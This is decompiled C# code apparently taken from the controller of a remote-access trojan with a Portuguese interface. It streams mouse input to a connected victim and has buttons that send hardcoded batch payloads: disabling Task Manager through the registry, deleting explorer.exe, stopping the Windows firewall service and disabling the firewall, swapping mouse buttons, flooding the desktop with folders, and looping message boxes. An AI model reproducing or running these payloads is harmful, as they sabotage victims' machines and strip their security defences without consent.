// Token: 0x06000359 RID: 857 RVA: 0x001F7C78 File Offset: 0x001F6078 private void vmethod_12_Tick(object sender, EventArgs e) { this.ProgressBar1.Value = this.sk.rp(); Point point = this.PointToClient(Cursor.Position); bool flag = point.X > -1 & point.Y > -1 & this.IsActive; if (flag) { this.point_0 = new Point((int)Math.Round(Math.Round((double)point.X * ((double)this.sz.Width / (double)this.p.Width))), (int)Math.Round(Math.Round((double)point.Y * ((double)this.sz.Height / (double)this.p.Height)))); flag = ((this.CheckBox1.Checked & Operators.CompareString(this.Button1.Text, "Iniciar", false) != 0) && this.point_0 != this.point_1); if (flag) { this.point_1 = this.point_0; Client client = this.sk; string text = string.Concat(new string[] { "@", Class7.string_1, Conversions.ToString(this.point_1.X), Class7.string_1, Conversions.ToString(this.point_1.Y), Class7.string_1, Conversions.ToString(1) }); client.SEND_(Class6.smethod_11(ref text)); } } }
// Token: 0x0600039C RID: 924 RVA: 0x001FA780 File Offset: 0x001F8B80 private void Button10_Click(object sender, EventArgs e) { this.Code = "@echo off\r\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_SZ /d 1 /f > nul"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x0600039B RID: 923 RVA: 0x001FA69C File Offset: 0x001F8A9C private void Button11_Click(object sender, EventArgs e) { this.Code = "@echo off\r\n\r\ncls\r\n@echo off\r\nrundll32 USER32.DLL,SwapMouseButton"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000398 RID: 920 RVA: 0x001FA3F0 File Offset: 0x001F87F0 private void Button14_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD %userprofile%\\Desktop\r\nSET NumeroDePastas=30000\r\nSET /a Nome=Vírus\r\n:3\r\nIF EXIST %NumeroDePastas% GOTO 4\r\nSET /a Nome=%Nome%+1\r\nMD %Nome%\r\nGOTO 3\r\n:4\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000394 RID: 916 RVA: 0x001FA060 File Offset: 0x001F8460 private void Button4_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD\\\r\nCD WINDOWS\r\nDEL /s /q explorer.exe\r\ncls\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A3 RID: 931 RVA: 0x001FADBC File Offset: 0x001F91BC private void Button17_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\n:loop\r\n%userprofile%/desktop \a\r\necho msgbox flood >%random%.vbs&%random%.vbs\r\ngoto loop"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A1 RID: 929 RVA: 0x001FABF4 File Offset: 0x001F8FF4 private void Button19_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\nnet stop MpsSvc\r\ntaskkill /f /t /im FirewallControlPanel.exe\r\nif %errorlevel%==1 tskill FirewallControlPanel\r\nnetsh firewall set opmode mode=disable"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x0600040B RID: 1035 RVA: 0x001CD140 File Offset: 0x001CB540 public static string smethod_4(string string_0) { return(Class6.smethod_5(Class6.smethod_11(ref string_0))); }